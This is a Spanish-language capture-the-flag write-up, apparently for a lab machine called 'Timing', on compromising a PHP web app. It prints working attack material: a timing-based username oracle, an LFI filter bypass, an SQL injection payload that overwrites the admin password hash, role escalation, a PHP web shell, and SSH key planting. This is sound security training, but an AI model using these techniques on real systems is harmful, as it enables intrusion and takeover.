Timing
22 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.135
- Fecha: 11 / 12 / 2021
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.135 -p 22,80
Nmap scan report for 10.10.11.135
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 d2:5c:40:d7:c9:fe:ff:a8:83:c3:6e:cd:60:11:d2:eb (RSA)
| 256 18:c9:f7:b9:27:36:a1:16:59:23:35:84:34:31:b3:ad (ECDSA)
|_ 256 a2:2d:ee:db:4e:bf:f9:3f:8b:d4:cf:b4:12:d8:20:f2 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-title: Simple WebApp
|_Requested resource was ./login.php
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 10.51 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración web
Si vamos a http://10.10.11.135 se nos redirige a un formulario de inicio de sesión (/login.php
):
Podemos probar cuentas por defecto pero obtenemos un mensaje de error:
Sin embargo, debido al nombre de la máquina (“Timing”), podríamos pensar en ataques basados en tiempo. Aquí hay una sencilla prueba de concepto con curl
:
$ time curl '10.10.11.135/login.php?login=true' -sd 'user=admin&password=x' > /dev/null
1,36 real 0,01 user 0,00 sys
$ time curl '10.10.11.135/login.php?login=true' -sd 'user=asdf&password=x' > /dev/null
0,24 real 0,01 user 0,00 sys
Con esto, podemos deducir que admin
es un nombre de usuario válido. Vamos a ver si hay más usuarios con ffuf
usando este oráculo de tiempo:
$ ffuf -w $WORDLISTS/names.txt -u 'http://10.10.11.135/login.php?login=true' -H 'Content-Type: application/x-www-form-urlencoded' -d 'user=FUZZ&password=asdf' -t 5 -ft '<1000'
aaron [Status: 200, Size: 5963, Words: 1878, Lines: 188, Duration: 1149ms]
admin [Status: 200, Size: 5963, Words: 1878, Lines: 188, Duration: 1507ms]
Nótese que puse 5 hilos (threads), si no, se obtendrían falsos positivos. Podemos tratar de encontrar sus contraseñas, pero no siguen el mismo oráculo de tiempo.
Por tanto, tenemos que seguir enumerando. Vamos a ver qué rutas y archivos hay con ffuf
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://10.10.11.135/FUZZ -e .php
images [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 138ms]
login.php [Status: 200, Size: 5609, Words: 1755, Lines: 178, Duration: 50ms]
profile.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 68ms]
image.php [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 39ms]
header.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 72ms]
footer.php [Status: 200, Size: 3937, Words: 1307, Lines: 116, Duration: 60ms]
upload.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 74ms]
css [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 81ms]
index.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 4219ms]
js [Status: 301, Size: 309, Words: 20, Lines: 10, Duration: 80ms]
logout.php [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 104ms]
[Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 80ms]
.php [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 80ms]
server-status [Status: 403, Size: 277, Words: 20, Lines: 10, Duration: 60ms]
Encontrando un LFI
Nótese que hay un archivo raro llamado image.php
que devuelve 200 OK pero sin cuerpo de respuesta. Por el nombre del archivo, podríamos usar algún parámetro y apuntarlo a un archivo. Por este motivo, vamos a usar ffuf
de nuevo para ver si conseguimos el nombre del parámetro (podemos pedir un archivo válido como /etc/passwd
):
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://10.10.11.135/image.php?FUZZ=/etc/passwd' -fs 0
img [Status: 200, Size: 25, Words: 3, Lines: 1, Duration: 3158ms]
Ahí está, y tiene un cuerpo de respuesta, vamos ver qué nos dice:
$ curl '10.10.11.135/image.php?img=/etc/passwd'
Hacking attempt detected!
Oh, nos han pillado. Tenemos una inclusión de archivo locales (Local File Inclusion, LFI). Lo sabemos porque si apuntamos el parámetro al index.php
no se muestra ningun contenido de respuesta y se nos redirige a /login.php
(por lo que se ejecuta el código PHP):
$ curl '10.10.11.135/image.php?img=index.php' -i
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=3t8sqtja7l7ea3h3v9f904pc1l; expires=Wed, 01-Jun-2022 17:35:16 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ./login.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Sin embargo, podemos extraer el código fuente con un wrapper PHP para convertirlo a Base64, de manera que no aparezcan etiquetas <?php
y el contenido no se ejecute. Esto es index.php
:
$ curl '10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=index.php'
PD9waHAKaW5jbHVkZV9vbmNlICJoZWFkZXIucGhwIjsKPz4KCjxoMSBjbGFzcz0idGV4dC1jZW50ZXIiIHN0eWxlPSJwYWRkaW5nOiAyMDBweCI+WW91IGFyZSBsb2dnZWQgaW4gYXMgdXNlciA8P3BocCBlY2hvICRfU0VTU0lPTlsndXNlcmlkJ107ID8+ITwvaDE+Cgo8P3BocAppbmNsdWRlX29uY2UgImZvb3Rlci5waHAiOwo/Pgo=
$ curl '10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=index.php' -s | base64 -d
<?php
include_once "header.php";
?>
<h1 class="text-center" style="padding: 200px">You are logged in as user <?php echo $_SESSION['userid']; ?>!</h1>
<?php
include_once "footer.php";
?>
Analizando código fuente PHP
Ahora podemos leer el código fuente en PHP. Usaré esta función en Bash para leer los archivo más fácilmente:
$ function read_file() { curl "10.10.11.135/image.php?img=php://filter/convert.base64-encode/resource=$1" -s | base64 -d; }
Esto es login.php
, veamos cómo se gestiona la autenticación:
$ read_file login.php
<?php
include "header.php";
function createTimeChannel()
{
sleep(1);
}
include "db_conn.php";
if (isset($_SESSION['userid'])){
header('Location: ./index.php');
die();
}
if (isset($_GET['login'])) {
$username = $_POST['user'];
$password = $_POST['password'];
$statement = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$result = $statement->execute(array('username' => $username));
$user = $statement->fetch();
if ($user !== false) {
createTimeChannel();
if (password_verify($password, $user['password'])) {
$_SESSION['userid'] = $user['id'];
$_SESSION['role'] = $user['role'];
header('Location: ./index.php');
return;
}
}
$errorMessage = "Invalid username or password entered";
}
?>
<!-- ... -->
Está utilizando password_verify
, que no es vulnerable a ataques de tiempo (como se dice en www.php.net).
Podemos encontrar credentiales para la conexión a la base de datos en db_conn.php
(que se llama en login.php
):
$ read_file db_conn.php
<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', 'root', '4_V3Ry_l0000n9_p422w0rd');
Podemos probar a reutilizar estas credenciales para admin
o aaron
en la web, o incluso para aaron
por SSH. Sabemos que se trata de un usuario a nivel de sistema porque aparece en /etc/passwd
:
$ read_file /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
aaron:x:1000:1000:aaron:/home/aaron:/bin/bash
A propósito, este es el archivo que estamos explotando:
$ read_file image.php
<?php
function is_safe_include($text)
{
$blacklist = array("php://input", "phar://", "zip://", "ftp://", "file://", "http://", "data://", "expect://", "https://", "../");
foreach ($blacklist as $item) {
if (strpos($text, $item) !== false) {
return false;
}
}
return substr($text, 0, 1) !== "/";
}
if (isset($_GET['img'])) {
if (is_safe_include($_GET['img'])) {
include($_GET['img']);
} else {
echo "Hacking attempt detected!";
}
}
Queda claro que estamos explotando una inclusión de archivos locales (nótese el uso de la función include
). Podríamos haber usado letras mayúsculas para saltarnos los filtros:
$ curl '10.10.11.135/image.php?img=File:///etc/hosts'
127.0.0.1 localhost timing.htb
127.0.1.1 timing
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Ahora deberíamos escalar el LFI a una ejecución remota de comandos (RCE). Recordemos que ffuf
mostró un archivo llamado upload.php
:
$ read_file upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Este archivo parece prometedor. Si somos capaces de subir un archivo PHP al servidor, podríamos acceder mediante el LFI y conseguir RCE. Pero primero vamos a ver para qué se utiliza admin_auth_check.php
:
$ read_file admin_auth_check.php
<?php
include_once "auth_check.php";
if (!isset($_SESSION['role']) || $_SESSION['role'] != 1) {
echo "No permission to access this panel!";
header('Location: ./index.php');
die();
}
?>
Por tanto, necesitamos tener una sesión válida con un role
igual a 1
. Nótese que se utiliza !=
(y no !==
), por lo que es vulnerable a Type Juggling.
Y también necesitamos burlar auth_check.php
…
$ read_file auth_check.php
<?php
//ini_set('display_errors', '1');
//ini_set('display_startup_errors', '1');
//error_reporting(E_ALL);
// session is valid for 1 hour
ini_set('session.gc_maxlifetime', 3600);
session_set_cookie_params(3600);
session_start();
if (!isset($_SESSION['userid']) && strpos($_SERVER['REQUEST_URI'], "login.php") === false) {
header('Location: ./login.php');
die();
}
?>
Aquí tenemos una mala configuración, ¿la ves? El programa entrará al bloque if
siempre que nuestra sesión no esté configurada y siempre que "login.php"
no aparezca en la URI de petición. Obviamente, no podemos conseguir una sesión válida (no tenemos credenciales), por tanto… Tenemos que acceder a auth_check.php
poniendo "login.php"
en la URI de petición de alguna manera, para que el programa no entre al bloque if
.
Podemos hacer esto añadiendo login.php
como un parámetro de URL. Mira las diferencias:
$ curl '10.10.11.135/auth_check.php' -i
HTTP/1.1 302 Found
Date:
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=ian71bvoa9a3t6f2l35g53rl4t; expires=Wed, 01-Jun-2022 18:16:54 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: ./login.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8
$ curl '10.10.11.135/auth_check.php?login.php' -i
HTTP/1.1 200 OK
Date:
Server: Apache/2.4.29 (Ubuntu)
Set-Cookie: PHPSESSID=2li2bbhv1cafb9i4jkm74i5392; expires=Wed, 01-Jun-2022 18:16:56 GMT; Max-Age=3600; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 0
Content-Type: text/html; charset=UTF-8
Entonces ya tenemos una manera de saltarnos auth_check.php
. Pero no podemos saltarnos admin_auth_check.php
. Por tanto, vamos a seguir enumerando.
Esto es profile.php
:
$ read_file profile.php
<?php
include_once "header.php";
include_once "db_conn.php";
$id = $_SESSION['userid'];
// fetch updated user
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
?>
<script src="js/profile.js"></script>
<div class="container bootstrap snippets bootdey">
<div class="alert alert-success" id="alert-profile-update" style="display: none">
<strong>Success!</strong> Profile was updated.
</div>
<h1 class="text-primary"><span class="glyphicon glyphicon-user"></span>Edit Profile</h1>
<hr>
<div class="row">
<!-- left column -->
<div class="col-md-1">
</div>
<!-- edit form column -->
<div class="col-md-9 personal-info">
<h3>Personal info</h3>
<form class="form-horizontal" role="form" id="editForm" action="#" method="POST">
<div class="form-group">
<label class="col-lg-3 control-label">First name:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="firstName" id="firstName"
value="<?php if (!empty($user['firstName'])) echo $user['firstName']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Last name:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="lastName" id="lastName"
value="<?php if (!empty($user['lastName'])) echo $user['lastName']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Company:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="company" id="company"
value="<?php if (!empty($user['company'])) echo $user['company']; ?>">
</div>
</div>
<div class="form-group">
<label class="col-lg-3 control-label">Email:</label>
<div class="col-lg-8">
<input class="form-control" type="text" name="email" id="email"
value="<?php if (!empty($user['email'])) echo $user['email']; ?>">
</div>
</div>
<div class="container">
<div class="row">
<div class="col-md-9 bg-light text-right">
<button type="button" onclick="updateProfile()" class="btn btn-primary">
Update
</button>
</div>
</div>
</div>
</form>
</div>
</div>
</div>
<hr>
<?php
include_once "footer.php";
?>
Utiliza auth_check.php
, entonces nos lo podemos saltar y acceder a profile.php
:
Si miramos el código HTML, veremos que el <form>
llama a updateProfile()
mediante JavaScript. Este archivo es accesible en /js/profile.js
:
$ curl 10.10.11.135/js/profile.js
function updateProfile() {
var xml = new XMLHttpRequest();
xml.onreadystatechange = function () {
if (xml.readyState == 4 && xml.status == 200) {
document.getElementById("alert-profile-update").style.display = "block"
}
};
xml.open("POST", "profile_update.php", true);
xml.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xml.send("firstName=" + document.getElementById("firstName").value + "&lastName=" + document.getElementById("lastName").value + "&email=" + document.getElementById("email").value + "&company=" + document.getElementById("company").value);
}
La petición se realiza mediante AJAX hacia profile_update.php
. Vamos a leerlo:
$ read_file profile_update.php
<?php
include "auth_check.php";
$error = "";
if (empty($_POST['firstName'])) {
$error = 'First Name is required.';
} else if (empty($_POST['lastName'])) {
$error = 'Last Name is required.';
} else if (empty($_POST['email'])) {
$error = 'Email is required.';
} else if (empty($_POST['company'])) {
$error = 'Company is required.';
}
if (!empty($error)) {
die("Error updating profile, reason: " . $error);
} else {
include "db_conn.php";
$id = $_SESSION['userid'];
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
if ($user !== false) {
ini_set('display_errors', '1');
ini_set('display_startup_errors', '1');
error_reporting(E_ALL);
$firstName = $_POST['firstName'];
$lastName = $_POST['lastName'];
$email = $_POST['email'];
$company = $_POST['company'];
$role = $user['role'];
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
// dont persist role
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
$stmt = $pdo->prepare($sql);
$stmt->execute();
$statement = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$result = $statement->execute(array('id' => $id));
$user = $statement->fetch();
// but return it to avoid confusion
$user['role'] = $role;
$user['6'] = $role;
echo json_encode($user, JSON_PRETTY_PRINT);
} else {
echo "No user with this id was found.";
}
}
?>
Aquí hay dos cosas. La primera que resalta es una inyección de código SQL debido a la interpolación de strings (el contenido de las variables se inserta en la consulta SQL sin sanitización):
$sql = "UPDATE users SET firstName='$firstName', lastName='$lastName', email='$email', company='$company' WHERE id=$id";
Usando SQLi, podemos conseguir el contenido de la base de datos (por ejemplo, los hashes de las contraseñas de aaron
y admin
) e incluso modificarlo.
Además, podemos asignar el role
a nuestra sesión, que puede servir para pasar la validación de admin_auth_check.php
:
if (isset($_POST['role'])) {
$role = $_POST['role'];
$_SESSION['role'] = $role;
}
No obstante, todavía necesitamos una sesión válida para poder llegar a esas líneas de código.
Pero podemos seguir probando cosas, como deducción de contraseñas. Por suerte, la contraseña de aaron
es justamente aaron
. Ahora tenemos acceso legítimo a profile.php
(sin necesidad de saltar validaciones):
En este punto, cambiaré el role
a 1
en la sesión del usuario. Para ello, usaré curl
con la cookie PHPSESSID
correspondiente:
$ curl '10.10.11.135/login.php?login=true' -sid 'user=aaron&password=aaron' | grep PHPSESSID
Set-Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a; expires=Wed, 01-Jun-2022 20:17:47 GMT; Max-Age=3600; path=/
$ curl '10.10.11.135/profile_update.php?login.php' -sH 'Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a' -d "firstName=x&lastName=x&email=x&company=x&role=1"
{
"id": "2",
"0": "2",
"username": "aaron",
"1": "aaron",
"password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"lastName": "x",
"3": "x",
"firstName": "x",
"4": "x",
"email": "x",
"5": "x",
"role": "1",
"6": "1",
"company": "x",
"7": "x"
}
$ curl '10.10.11.135/admin_auth_check.php?login.php' -H 'Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a'
Ahora ya no hay errores en admin_auth_check.php
, porque nuestra sesión tiene role
igual a "1"
, que es el mismo valor que 1
(Type Juggling).
Solo por mostrar cómo explotar el SQLi para conseguir acceso como admin
(de manera que no haría falta cambiar el rol de aaron
), podemos usar el siguiente payload para modificar la contraseña de admin
y poner la misma que tiene aaron
(directamente ponemos el hash de aaron
):
firstName=admin',password='$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq' where id=1-- -
$ curl '10.10.11.135/profile_update.php?login.php' -sH 'Cookie: PHPSESSID=3ud32r6h5qk7437rv339e5308a' -d "firstName=admin',password='\$2y\$10\$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq'+where+id=1--+-&lastName=x&email=x&company=x&role=1"
{
"id": "2",
"0": "2",
"username": "aaron",
"1": "aaron",
"password": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"2": "$2y$10$kbs9MM.M8G.aquRLu53QYO.9tZNFvALOIAb3LwLggUs58OH5mVUFq",
"lastName": "x",
"3": "x",
"firstName": "x",
"4": "x",
"email": "x",
"5": "x",
"role": "1",
"6": "1",
"company": "x",
"7": "x"
}
Y ahora tenemos acceso con credenciales admin:aaron
:
Y podemos ver la función de subir archivos directamente desde el navegador:
Consiguiendo RCE
En este punto, tenemos que subir un archivo con código PHP para ganar RCE a través del LFI. Vamos a recordar el código fuente de upload.php
:
$ read_file upload.php
<?php
include("admin_auth_check.php");
$upload_dir = "images/uploads/";
if (!file_exists($upload_dir)) {
mkdir($upload_dir, 0777, true);
}
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
// Check if file already exists
if (file_exists($target_file)) {
$error = "Sorry, file already exists.";
}
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
?>
Hay muchas cosas que analizar. Primero de todo, el archivo se guardará en /images/uploads/
y el nombre del archivo será:
$file_hash = uniqid();
$file_name = md5('$file_hash' . time()) . '_' . basename($_FILES["fileToUpload"]["name"]);
Hay un error aquí, ya que $file_hash
no hace nada. El uso de comillas simples en lugar de dobles afecta, veámoslo:
$ php -a
Interactive shell
php > $file_hash = uniqid();
php > echo '$file_hash';
$file_hash
php > echo "$file_hash";
6297dc93794b4
Además, el nombre del archivo es el hash MD5 de una cadena de texto con un valor de tiempo:
php > $file = 'r.php';
php > $file_name = md5('$file_hash' . time()) . '_' . basename($file);
php > echo $file_name;
8341c71500f186c3ce6ca74204769606_r.php
La string de la que se hace el hash es algo así:
php > echo '$file_hash' . time();
$file_hash1654119787
php > echo '$file_hash' . time();
$file_hash1654119788
php > echo '$file_hash' . time();
$file_hash1654119789
php > echo '$file_hash' . time();
$file_hash1654119790
Cambia cada segundo. Existe otra validación si ponemos submit
en el formulario de petición:
if (isset($_POST["submit"])) {
$check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
if ($check === false) {
$error = "Invalid file";
}
}
Otra validación importante es la extensión del archivo:
$upload_dir = "images/uploads/";
// ...
$target_file = $upload_dir . $file_name;
$error = "";
$imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
// ...
if ($imageFileType != "jpg") {
$error = "This extension is not allowed.";
}
Con r.php
, se obtiene extensión php
:
php > $upload_dir = "images/uploads/";
php > $target_file = $upload_dir . $file_name;
php > $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
php > echo $imageFileType;
php
Pero si ponemos r.php.jpg
, la extensión del archivo cambia a jpg
:
php > $file = 'r.php.jpg';
php > $file_name = md5('$file_hash' . time()) . '_' . basename($file);
php > echo $file_name;
9a3b65d2e18bf402d3715ac15ec5be2a_r.php.jpg
php > $target_file = $upload_dir . $file_name;
php > $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
php > echo $imageFileType;
jpg
Si no hay errores, el archivo se guarda en /images/uploads/
:
if (empty($error)) {
if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
echo "The file has been uploaded.";
} else {
echo "Error: There was an error uploading your file.";
}
} else {
echo "Error: " . $error;
}
En este punto, decidí escribir un script en Python para hacer todo lo necesario para subir el archivo y obtener la URL del archivo con la web shell en PHP: upload.py
(explicación detallada aquí):
$ python3 upload.py
Cookie: PHPSESSID=dg8sokd2ki84a93ggp2tttrlm6
RCE: http://10.10.11.135/images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg
$ curl 10.10.11.135/images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg
<?php system($_GET["cmd"]); ?>
Y ahí tenemos nuestra web shell. Ahora tenemos RCE mediante LFI:
$ curl '10.10.11.135/image.php?img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg&cmd=whoami'
www-data
Sin embargo, no somos capaces de obtener una reverse shell en el servidor. Debe ser que algunas reglas de iptables
que no permiten conexiones. Por tanto, tenemos que seguir con la web shell.
Enumeración del sistema
Definí otra función en Bash para que los comandos fueran más cortos:
$ function rce() { curl -sG 'http://10.10.11.135/image.php' --data-urlencode 'img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg' --data-urlencode "cmd=$1" -o -; }
$ rce 'ls -la'
total 72
drwxr-xr-x 5 www-data www-data 4096 Dec 2 14:10 .
drwxr-xr-x 5 www-data www-data 4096 Nov 29 2021 ..
-rw-r--r-- 1 root root 200 Jul 18 2021 admin_auth_check.php
-rw-r--r-- 1 root root 379 Jul 22 2021 auth_check.php
-rw-r--r-- 1 root root 1268 Jul 18 2021 avatar_uploader.php
drwxrwxr-x 2 root root 4096 Nov 29 2021 css
-rw-r--r-- 1 root root 92 Jul 20 2021 db_conn.php
-rw-r--r-- 1 root root 3937 Jul 18 2021 footer.php
-rw-r--r-- 1 root root 1498 Nov 30 2021 header.php
-rw-r--r-- 1 root root 507 Jul 18 2021 image.php
drwxrwxr-x 3 root root 4096 Nov 29 2021 images
-rw-r--r-- 1 root root 188 Jul 18 2021 index.php
drwxrwxr-x 2 root root 4096 Nov 29 2021 js
-rw-r--r-- 1 root root 2072 Oct 5 2021 login.php
-rw-r--r-- 1 root root 113 Jul 18 2021 logout.php
-rw-r--r-- 1 root root 3041 Jul 18 2021 profile.php
-rw-r--r-- 1 root root 1740 Jul 18 2021 profile_update.php
-rw-r--r-- 1 root root 1018 Dec 2 14:10 upload.php
Incluso si tratamos de generar claves SSH y las añadimos a /var/www/.ssh/authorized_keys
, no se nos permite acceder al servidor:
$ rce 'grep www-data /etc/passwd'
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
$ rce 'mkdir /var/www/.ssh'
$ rce 'ls -la /var/www/'
total 24
drwxr-xr-x 6 www-data www-data 4096 Jun 1 20:42 .
drwxr-xr-x 14 root root 4096 Nov 29 2021 ..
lrwxrwxrwx 1 root root 9 Oct 5 2021 .bash_history -> /dev/null
drwxr-x--- 3 www-data www-data 4096 Nov 29 2021 .config
drwx------ 2 www-data www-data 4096 Nov 29 2021 .gnupg
drwxr-xr-x 2 www-data www-data 4096 Jun 1 20:42 .ssh
drwxr-xr-x 5 www-data www-data 4096 Dec 2 14:10 html
$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (~/.ssh/id_rsa): id_rsa
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in id_rsa
Your public key has been saved in id_rsa.pub
The key fingerprint is:
SHA256:QFWHOQWlYor2bYFXtmu8ECG1hadx1221W94UFrjp7ck
The key's randomart image is:
+---[RSA 3072]----+
| ..oo+*+..=+|
| . .oo*o..o =|
| o ==+o ooo|
| . *.= . o o+|
| o o S . . ..o|
| . . o + . . . |
| . + + o .|
| . o . E |
| . |
+----[SHA256]-----+
$ rce "echo '$(cat id_rsa.pub)' >> /var/www/.ssh/authorized_keys"
$ rce 'ls -la /var/www/.ssh'
total 12
drwxr-xr-x 2 www-data www-data 4096 Jun 1 20:43 .
drwxr-xr-x 7 www-data www-data 4096 Jun 1 20:44 ..
-rw-r--r-- 1 www-data www-data 575 Jun 1 20:45 authorized_keys
$ ssh -i id_rsa www-data@10.10.11.135 bash
This account is currently not available.
Podemos ver los permisos que tiene el directorio /home/aaron
:
$ rce 'ls -la /home/'
total 12
drwxr-xr-x 3 root root 4096 Dec 2 09:55 .
drwxr-xr-x 24 root root 4096 Nov 29 2021 ..
drwxr-x--x 5 aaron aaron 4096 Jun 1 20:36 aaron
Podemos acceder a los archivos internos si conocemos el nombre completo. Por ejemplo:
$ rce 'ls -la /home/aaron/.bashrc'
-rw-r--r-- 1 aaron aaron 3771 Apr 4 2018 /home/aaron/.bashrc
$ rce 'ls -la /home/aaron/.bash_history'
lrwxrwxrwx 1 root root 9 Oct 5 2021 /home/aaron/.bash_history -> /dev/null
$ rce 'ls -la /home/aaron/user.txt'
-rw-r----- 1 root aaron 33 Jun 1 04:01 /home/aaron/user.txt
Puede parecer raro, pero vamos a usar ffuf
otra vez para enumerar directorios y archivos dentro de /home/aaron/
:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u 'http://10.10.11.135/image.php?img=images/uploads/67bcd57488a373e2873212f23c06c222_r.php.jpg&cmd=ls+-la+/home/aaron/FUZZ' -e .txt -fs 0
user.txt [Status: 200, Size: 61, Words: 10, Lines: 2, Duration: 47ms]
Vamos a añadir .
al principio del nombre del archivo para mirar por archivos y directorios ocultos, pero nada interesante:
